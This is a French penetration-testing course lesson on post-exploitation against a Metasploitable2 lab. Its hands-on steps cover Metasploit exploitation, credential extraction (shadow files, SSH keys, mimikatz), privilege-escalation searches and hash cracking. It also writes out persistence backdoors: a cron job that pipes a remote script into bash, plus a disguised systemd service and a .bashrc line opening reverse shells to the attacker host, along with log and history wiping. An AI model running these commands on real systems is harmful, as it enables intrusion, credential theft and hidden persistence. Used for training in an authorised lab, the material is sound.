🎯 Objectif de la semaine
Maîtriser les techniques d'énumération post-exploitation pour transformer un accès initial en contrôle complet. Apprendre à cartographier un système compromis, extraire des informations sensibles, récupérer des credentials, et préparer le mouvement latéral - comprendre comment un attaquant maximise sa présence une fois à l'intérieur.
Phase critique : L'exploitation vous donne une porte d'entrée. La post-exploitation vous donne les clés de toutes les portes intérieures. C'est la différence entre "je suis entré" et "je possède la place".
(shell/Meterpreter)"] --> B{"🔄 Post-Exploitation"} subgraph "📋 Phase d'énumération" C1["🏗️ Système
OS, version, architecture"] C2["👥 Utilisateurs
locaux, groupes, privilèges"] C3["🌐 Réseau
interfaces, routes, connexions"] C4["💾 Stockage
fichiers, bases de données"] end subgraph "🔑 Récupération de credentials" D1["🔓 Extraction hashes
(SAM, /etc/shadow)"] D2["🎫 Tickets Kerberos
(Windows)"] D3["🔐 Clés SSH/GPG
(Linux)"] D4["💳 Creds en clair
(mémoire, fichiers)"] end subgraph "📈 Élévation de privilèges" E1["⚡ Privesc local
vulnérabilités, configs"] E2["👑 Système/root
contrôle total"] end subgraph "🔍 Établissement de persistence" F1["🔗 Backdoors
services, tâches, crontabs"] F2["📁 Implants
fichiers cachés, rootkits"] end B --> C1 B --> C2 B --> C3 B --> C4 B --> D1 B --> D2 B --> D3 B --> D4 B --> E1 B --> E2 B --> F1 B --> F2 C1 --> G["🗺️ Carte complète
du système compromis"] C2 --> G C3 --> G C4 --> G D1 --> H["🔑 Credentials récupérés"] D2 --> H D3 --> H D4 --> H E1 --> I["📊 Contrôle étendu"] E2 --> I F1 --> J["⏳ Persistence établie"] F2 --> J G --> K["🚀 Préparation mouvement latéral
(Semaine 20)"] H --> K I --> K J --> K style A fill:#ef4444,stroke:#000,stroke-width:3px,color:#fff style K fill:#9d4edd,stroke:#fff,stroke-width:3px,color:#fff style H fill:#00f5a0,stroke:#000,stroke-width:2px,color:#000 style J fill:#fbbf24,stroke:#000,stroke-width:2px,color:#000 style B fill:#1e3a8a,stroke:#60a5fa,stroke-width:2px,color:#fff style G fill:#0f766e,stroke:#0d9488,stroke-width:2px,color:#fff
📚 Sujet – Théorie (1 heure)
Post-exploitation : L'art de maximiser l'accès
La post-exploitation n'est pas du "piratage supplémentaire". C'est une discipline systématique qui transforme une vulnérabilité ponctuelle en contrôle durable. Un professionnel suit une méthodologie rigoureuse, là où un script kiddie exécute des commandes au hasard.
🏗️ Énumération système
Objectif : Comprendre l'environnement
Commandes Linux : uname -a, cat /etc/*release, df -h
Commandes Windows : systeminfo, wmic os get *
Meterpreter : sysinfo, getenv
Valeur : Cibler les exploits, adapter les payloads
🌐 Énumération réseau
Objectif : Cartographier les connexions
Commandes Linux : ifconfig, netstat -tulpn, route -n
Commandes Windows : ipconfig /all, netstat -ano
Meterpreter : ipconfig, route, arp
Valeur : Préparer le pivot, identifier d'autres cibles
🔑 Récupération credentials
Objectif : Obtenir des identifiants réutilisables
Linux : /etc/shadow, ~/.ssh/, ~/.bash_history
Windows : SAM database, LSASS memory, Credential Manager
Outils : mimikatz (kiwi), hashdump, LaZagne
Valeur : Mouvement latéral, accès persistants
⏳ Établir la persistance
Objectif : Maintenir l'accès après redémarrage
Linux : crontab, services systemd, .bashrc, ssh keys
Windows : Registry run keys, services, scheduled tasks
Meterpreter : persistence module
Valeur : Accès durable, reprise d'opérations
La méthodologie de pillage systématique
🔄 Workflow professionnel de post-exploitation
1. Stabilisation de la session
Migration : Changer de processus pour plus de stabilité
Privilèges : Vérifier le niveau d'accès (user? admin? system?)
Détection : Vérifier les outils de sécurité présents (AV, EDR, HIDS)
Documentation : Noter l'heure, la méthode d'entrée, l'utilisateur
2. Énumération hiérarchisée
Prioritaire : Credentials, fichiers sensibles, bases de données
Secondaire : Configuration réseau, autres utilisateurs
Tertiaire : Inventaire logiciel, historique commandes
Méthode : Toujours du plus sensible au moins sensible
3. Élévation de privilèges
Analyse : Recherche de vulnérabilités locales (kernel, services)
Configuration : Mauvaise configuration des permissions
Credential reuse : Utiliser les hashs récupérés
Outils : LinPEAS/WinPEAS, Seatbelt, PowerUp
4. Préparation du mouvement latéral
Mapping : Identifier d'autres machines accessibles
Credential testing : Tester les identifiants récupérés
Outils : Pré-positionner des agents sur le réseau
Coverage : Éviter la détection lors des mouvements
⚠️ Éthique et légalité absolues
Dans un environnement réel (non-lab), chaque étape doit être :
- Autorisée : Dans le scope défini par le contrat
- Documentée : Chaque commande, chaque fichier consulté
- Minimale : Ne prendre que ce qui est nécessaire pour la preuve
- Sécurisée : Ne pas exposer les données récupérées
- Nettoyée : Retirer tous les outils, backdoors, fichiers
Comprendre les hashs et leur réutilisation
🔍 Anatomie des credentials systèmes
Linux (/etc/shadow) : root:$6$salt$hash:18820:0:99999:7::: ├── $6 → algorithme (SHA-512) ├── salt → sel cryptographique ├── hash → hash du mot de passe + sel └── Champs : nom:hash:last_change:min:max:warn:inactive:expire Windows (SAM/NTLM) : Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: ├── 500 → RID (Relative ID) ├── aad3b... → LM Hash (vide ici) ├── 31d6c... → NTLM Hash └── Caractéristiques : Pas de sel, vulnérable à pass-the-hash Réutilisation : - Linux : crackage requis (John/ Hashcat) - Windows : Pass-the-Hash possible directement - SSH keys : Réutilisation immédiate si privée récupérée
🔬 Outils spécialisés de post-exploitation
- LinPEAS/WinPEAS : Scripts d'énumération automatique
- Mimikatz (Kiwi) : Extraction credentials Windows
- LaZagne : Récupération credentials applications
- Seatbelt : Énumération sécurité Windows
- PowerSploit : Suite PowerShell pour post-exploitation
🔬 Mission pratique – Laboratoire (2 heures)
🏁 Environnement : Utilisez votre session Meterpreter sur Metasploitable2 (S17). Si vous avez aussi une VM Windows vulnérable, adaptez les commandes.
Étape 1 : Stabilisation et énumération initiale
# Si vous n'avez pas de session, obtenez-en une
msfconsole -q
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 192.168.56.102
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 4444
exploit
# Une fois dans Meterpreter :
# ===========================
# 1. Informations système
sysinfo
# Hostname: metasploitable
# OS: Linux 2.6.24-16-server
# Architecture: i686
getuid
# Server username: ircd
# 2. Migration pour stabilité
ps
# Liste les processus, notez un PID stable (ex: 1, init)
migrate 1
# Migration vers le processus init (toujours présent)
# 3. Shell interactif
shell
# Vous êtes maintenant dans un shell sur la cible
whoami
# ircd
id
# uid=105(ircd) gid=65534(nogroup) groups=65534(nogroup)
# Retour à Meterpreter
exit
# ou Ctrl+Z
Étape 2 : Énumération système approfondie
# Dans Meterpreter :
# 1. Système et version
cat /etc/issue
cat /etc/*release*
uname -a
# Linux metasploitable 2.6.24-16-server #1 SMP...
# 2. Utilisateurs et groupes
cat /etc/passwd
# Liste tous les utilisateurs
cat /etc/group
# Liste tous les groupes
cat /etc/sudoers 2>/dev/null
# Vérifie les permissions sudo
# 3. Processus et services
ps aux
# Tous les processus
ls /etc/init.d/
# Services système
systemctl list-units 2>/dev/null || service --status-all
# 4. Stockage
df -h
# Espace disque
mount
# Points de montage
lsblk 2>/dev/null || fdisk -l
# 5. Historique
cat ~/.bash_history
# Historique commandes de l'utilisateur courant
cat /root/.bash_history 2>/dev/null
# Historique root (si accessible)
Étape 3 : Énumération réseau
# 1. Interfaces réseau
ifconfig
ip addr show
# Adresses IP, interfaces
# 2. Connexions réseau
netstat -tulpn
# -t: TCP, -u: UDP, -l: listening, -p: PID/Program, -n: numeric
netstat -ano
# Toutes connexions, Windows style
# 3. Table de routage
route -n
ip route show
# Routes, gateway
# 4. DNS
cat /etc/resolv.conf
# Serveurs DNS
cat /etc/hosts
# Hosts locaux
# 5. Services réseau actifs
ss -tulpn 2>/dev/null || netstat -tulpn
# Services en écoute
lsof -i 2>/dev/null
# Fichiers ouverts sur réseau
# 6. Pare-feu
iptables -L -n -v 2>/dev/null
# Règles iptables
ufw status 2>/dev/null
# Uncomplicated Firewall
Étape 4 : Recherche de credentials et fichiers sensibles
# 1. Fichiers de mot de passe
ls -la /etc/shadow
# -rw-r----- 1 root shadow
# Si vous êtes root ou dans le groupe shadow :
cat /etc/shadow 2>/dev/null || echo "Accès refusé"
# 2. Clés SSH
ls -la ~/.ssh/
ls -la /root/.ssh/ 2>/dev/null
cat ~/.ssh/authorized_keys 2>/dev/null
cat ~/.ssh/id_rsa 2>/dev/null
cat ~/.ssh/id_rsa.pub 2>/dev/null
# 3. Fichiers de configuration avec mots de passe
grep -r "password\|passwd\|secret\|key" /etc/ 2>/dev/null | grep -v "binary"
find /home -name "*.kdbx" -o -name "*.p12" -o -name "*.pfx" 2>/dev/null
find / -name "*.sql" -o -name "*.db" -o -name "*.sqlite" 2>/dev/null | head -20
# 4. Fichiers temporaires avec données sensibles
find /tmp /var/tmp -type f -exec strings {} \; 2>/dev/null | grep -i "password\|token\|key" | head -20
# 5. Historique des bases de données
find / -name ".mysql_history" -o -name ".psql_history" 2>/dev/null
cat ~/.mysql_history 2>/dev/null | tail -20
cat ~/.psql_history 2>/dev/null | tail -20
Étape 5 : Élévation de privilèges (Privesc)
# 1. Vérification des privilèges sudo
sudo -l
# Quelles commandes peut-on exécuter en sudo?
# 2. Fichiers SUID/SGID (danger!)
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
# Exemples: /bin/bash (SUID), /usr/bin/passwd (SUID)
# 3. Capabilities Linux
getcap -r / 2>/dev/null
# Fichiers avec capabilities spéciales
# 4. Crons (tâches planifiées)
ls -la /etc/cron*
cat /etc/crontab
ls -la /var/spool/cron/
crontab -l 2>/dev/null
# 5. Scripts exécutables par tous
find / -writable -type f 2>/dev/null | head -20
find / -perm -o+w -type f 2>/dev/null | head -20
# 6. Vérification kernel (vulnérabilités connues)
uname -a
# Recherchez sur Exploit-DB: Linux 2.6.24 vulnerabilities
# Exemple: dirtycow, overlayfs, etc.
Étape 6 : Utilisation d'outils automatisés (si temps)
# Téléchargement et exécution de LinPEAS
# Depuis Meterpreter:
upload /usr/share/peass/linpeas.sh /tmp/linpeas.sh
# Ou depuis le shell:
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh > linpeas_report.txt
# Analyse du rapport
cat linpeas_report.txt | grep -A5 -B5 "CVE\|VULNERABLE\|SUID\|interesting"
# Alternative: Linux Exploit Suggester
cd /tmp
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
Étape 7 : Extraction et analyse des hashs
# Si vous avez obtenu root (via privesc) ou accès au shadow:
# 1. Copie du fichier shadow
cp /etc/shadow /tmp/shadow.copy
cp /etc/passwd /tmp/passwd.copy
# 2. Préparation pour John the Ripper
unshadow /tmp/passwd.copy /tmp/shadow.copy > /tmp/hashes.txt
# 3. Analyse des hashs
cat /tmp/hashes.txt
# Exemple: root:$6$salt$hash...
# $6 = SHA-512, $1 = MD5, $5 = SHA-256
# 4. Vérification des hashs faibles (à partir de Kali)
# Sur votre machine Kali:
cd /tmp
scp ircd@192.168.56.102:/tmp/hashes.txt .
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --show hashes.txt
# 5. Pour Windows (si VM Windows disponible):
# Dans Meterpreter Windows:
hashdump
# Ou avec mimikatz:
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonpasswords
Étape 8 : Persistance basique
# ATTENTION: Uniquement dans votre lab!
# 1. Création d'un backdoor SSH
# Générer une clé SSH sur Kali
ssh-keygen -t rsa -b 4096 -f /tmp/backdoor_key
cat /tmp/backdoor_key.pub
# Sur la cible, si accès à ~/.ssh/
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys
# 2. Crontab pour callback régulier
echo "* * * * * curl http://192.168.56.101/shell.sh | bash" >> /tmp/cron_job
crontab /tmp/cron_job 2>/dev/null
# 3. Service systemd (Linux moderne)
cat > /tmp/backdoor.service << EOF
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/192.168.56.101/4444 0>&1"
Restart=always
[Install]
WantedBy=multi-user.target
EOF
# 4. Fichier .bashrc (pour tous les shells)
echo "bash -i >& /dev/tcp/192.168.56.101/4444 0>&1 &" >> ~/.bashrc
Étape 9 : Documentation professionnelle
# Création d'un rapport de post-exploitation
cat > post_exploitation_report.md << 'EOF'
# Rapport de Post-Exploitation - PCTAMALOU S19
## Date: $(date)
## Cible: Metasploitable2 (192.168.56.102)
## Méthode d'accès initial: UnrealIRCd Backdoor (CVE-2010-2075)
## 1. Résumé exécutif
- Accès obtenu via utilisateur: ircd
- Niveau de privilèges: Utilisateur standard (non-root)
- Système: Linux 2.6.24-16-server (i686)
- Temps d'accès total: [X] minutes
## 2. Énumération système
### 2.1 Informations système
- Hostname: metasploitable
- Kernel: 2.6.24-16-server
- Architecture: i686
- Uptime: $(uptime 2>/dev/null)
### 2.2 Utilisateurs identifiés
$(cat /etc/passwd 2>/dev/null | wc -l) utilisateurs système
Utilisateurs notables: root, daemon, bin, sys, sync, games, man, lp, mail, news, uucp, proxy, www-data, backup, list, irc, gnats, nobody, libuuid, syslog, messagebus, usbmux, dnsmasq, avahi-autoipd, kernoops, rtkit, saned, whoopsie, speech-dispatcher, avahi, lightdm, hplip, pulse, gdm, msfadmin, postgres, service, user, tomcat55, proftpd, dhcp, mysql, sshd
### 2.3 Services en écoute
$(netstat -tulpn 2>/dev/null | grep LISTEN | wc -l) services en écoute
Ports notables:
- 21: FTP (vsftpd 2.3.4)
- 22: SSH (OpenSSH 4.7p1)
- 23: Telnet
- 25: SMTP
- 53: DNS
- 80: HTTP (Apache 2.2.8)
- 111: RPC
- 139/445: Samba
- 512/513/514: r-services
- 1099: Java RMI
- 1524: Bind shell
- 2049: NFS
- 2121: FTP (ProFTPD 1.3.1)
- 3306: MySQL
- 5432: PostgreSQL
- 5900: VNC
- 6000: X11
- 6667: UnrealIRCd
- 8009: AJP
- 8180: HTTP (Apache Tomcat)
## 3. Credentials récupérés
### 3.1 Hashs disponibles
Accès à /etc/shadow: $( [ -r /etc/shadow ] && echo "OUI" || echo "NON" )
Hashs extraits: $(cat /etc/shadow 2>/dev/null | wc -l) lignes
### 3.2 Clés SSH trouvées
- ~/.ssh/authorized_keys: $( [ -f ~/.ssh/authorized_keys ] && echo "OUI" || echo "NON" )
- ~/.ssh/id_rsa: $( [ -f ~/.ssh/id_rsa ] && echo "OUI" || echo "NON" )
## 4. Élévation de privilèges possible
### 4.1 Fichiers SUID/SGID
$(find / -perm -4000 -type f 2>/dev/null | wc -l) fichiers SUID
$(find / -perm -2000 -type f 2>/dev/null | wc -l) fichiers SGID
### 4.2 Vulnérabilités kernel potentielles
Kernel 2.6.24 - Recherche CVE:
- CVE-2009-1185 (udev)
- CVE-2009-2692 (SCTP)
- CVE-2010-4258 (full-nelson)
## 5. Persistance établie
- [ ] Clé SSH ajoutée
- [ ] Crontab modifié
- [ ] Service système ajouté
- [ ] .bashrc modifié
## 6. Recommendations défensives
1. Mettre à jour tous les services obsolètes
2. Supprimer les services inutiles
3. Renforcer les configurations par défaut
4. Mettre en place une journalisation centralisée
5. Isoler cette machine du réseau de production
## 7. Annexes
- Commandes exécutées: Voir journal d'activité
- Fichiers modifiés: [liste]
- Données extraites: Stockées dans [dossier sécurisé]
EOF
echo "Rapport généré: post_exploitation_report.md"
# Téléchargement vers Kali
download post_exploitation_report.md /tmp/post_exploitation_report.md
Étape 10 : Nettoyage (éthique)
# IMPORTANT: Dans un vrai pentest, vous nettoyeriez tout.
# Dans le lab, pratiquez le nettoyage:
# 1. Suppression des fichiers temporaires
rm -f /tmp/linpeas.sh /tmp/linpeas_report.txt
rm -f /tmp/shadow.copy /tmp/passwd.copy /tmp/hashes.txt
# 2. Suppression des backdoors
# Si vous avez ajouté une clé SSH:
sed -i '/backdoor_key/d' ~/.ssh/authorized_keys 2>/dev/null
# Si vous avez modifié .bashrc:
sed -i '/dev\/tcp\/192.168.56.101/d' ~/.bashrc 2>/dev/null
# 3. Suppression des crons
crontab -l | grep -v "192.168.56.101" | crontab - 2>/dev/null
# 4. Logs (attention, très visible)
# En général, on ne touche pas aux logs dans un pentest
# Mais pour l'exercice:
echo "" > ~/.bash_history
history -c
# 5. Fermeture propre
# Dans Meterpreter:
clearev
# Efface les logs de la session Meterpreter
exit
# Ferme la session
🎯 Défi professionnel : Maître du pillage
Sur Metasploitable2, réalisez un audit complet de post-exploitation :
- Obtenez un shell root (via privesc si nécessaire)
- Conduisez une énumération complète en 5 catégories :
- Système et configuration
- Réseau et connectivité
- Utilisateurs et credentials
- Applications et services
- Données sensibles
- Extrayez tous les hashs et tentez de les cracker
- Établissez 3 méthodes de persistance différentes
- Créez un rapport professionnel avec recommandations de sécurisation
- Implémentez un script d'automatisation de l'énumération
Livrable : Rapport complet + scripts d'automatisation + documentation des méthodes.
📋 Objectif de la semaine – Validation des compétences
✅ Compétences techniques acquises
- Énumération système complète (OS, users, processes)
- Cartographie réseau depuis l'intérieur
- Extraction et analyse de credentials (hashs, keys)
- Techniques basiques d'élévation de privilèges
- Méthodes de persistance simples et leur détection
🧠 Mindset développé
- Compréhension de la différence entre exploitation et post-exploitation
- Approche méthodique : énumération hiérarchisée du plus au moins sensible
- Conscience des traces laissées et importance du nettoyage (dans le lab)
- Vision défensive : comprendre l'attaque pour mieux défendre
🔮 Préparation pour la semaine 20 :
Vous avez maintenant cartographié une machine compromise. La semaine prochaine, nous allons nous déplacer vers d'autres machines du réseau. Assurez-vous d'avoir :
- Des credentials récupérés et documentés
- Une carte complète du réseau interne de Metasploitable2
- Compris le concept de "pivot" entre machines
- Votre lab avec au moins 2 machines compromises (Kali + Metasploitable2)
📚 Ressources avancées
Pour devenir expert en post-exploitation :
- PEASS-ng : Suite complète d'énumération privesc
- GTFOBins : Utilisation légitime de binaires pour privesc
- HackTricks : Encyclopédie des techniques de hacking
- PayloadsAllTheThings : Méthodologies et payloads
⚠️ Précautions extrêmes en environnement réel
- Scope : Ne jamais dépasser le scope défini dans l'autorisation
- Données : Ne jamais extraire de données personnelles/production
- Modification : Documenter toute modification du système
- Temps : Respecter les plages horaires autorisées
- Communication : Signaler immédiatement tout impact non prévu
🏛️ Frère d'armes,
Cette semaine, vous êtes devenu un archéologue du système compromis. Un cartographe des failles internes. Un extracteur de secrets enfouis.
La post-exploitation n'est pas du vandalisme. C'est de l'archéologie systématique. Vous fouillez couche par couche :
- La couche surface : système, version, architecture
- La couche sociale : utilisateurs, groupes, permissions
- La couche réseau : connexions, routes, services
- La couche trésor : credentials, clés, données sensibles
- La couche fondation : vulnérabilités locales, configurations faibles
Vous avez vu comment un simple shell utilisateur peut révéler toute la structure d'une machine. Comment un fichier shadow peut contenir les clés du royaume. Comment un cron job mal configuré peut devenir une porte dérobée permanente.
Cette connaissance est double :
- En attaque : Maximiser chaque accès obtenu
- En défense : Comprendre ce que les attaquants cherchent pour mieux le protéger
La semaine 19 marque votre passage de "j'ai un shell" à "je comprends ce système mieux que son administrateur". Parce qu'un attaquant regarde ce que les défenseurs oublient de regarder.
Mais souvenez-vous la leçon de Platon dans La République : le Gardien qui utilise son pouvoir pour son profit personnel devient un tyran. Le Gardien qui comprend les faiblesses pour mieux les protéger reste un Gardien.
Vous avez maintenant cartographié une cité compromise. Vous connaissez ses murs fissurés, ses portes mal fermées, ses trésors mal gardés.
La semaine prochaine, nous regarderons au-delà des murs. Vers les autres cités du réseau. Parce qu'une brèche dans une porte en ouvre souvent d'autres.
Rangez vos cartes. Sécurisez vos trésors récupérés. Documentez vos découvertes.
Le mouvement latéral commence bientôt.
— Platon-Y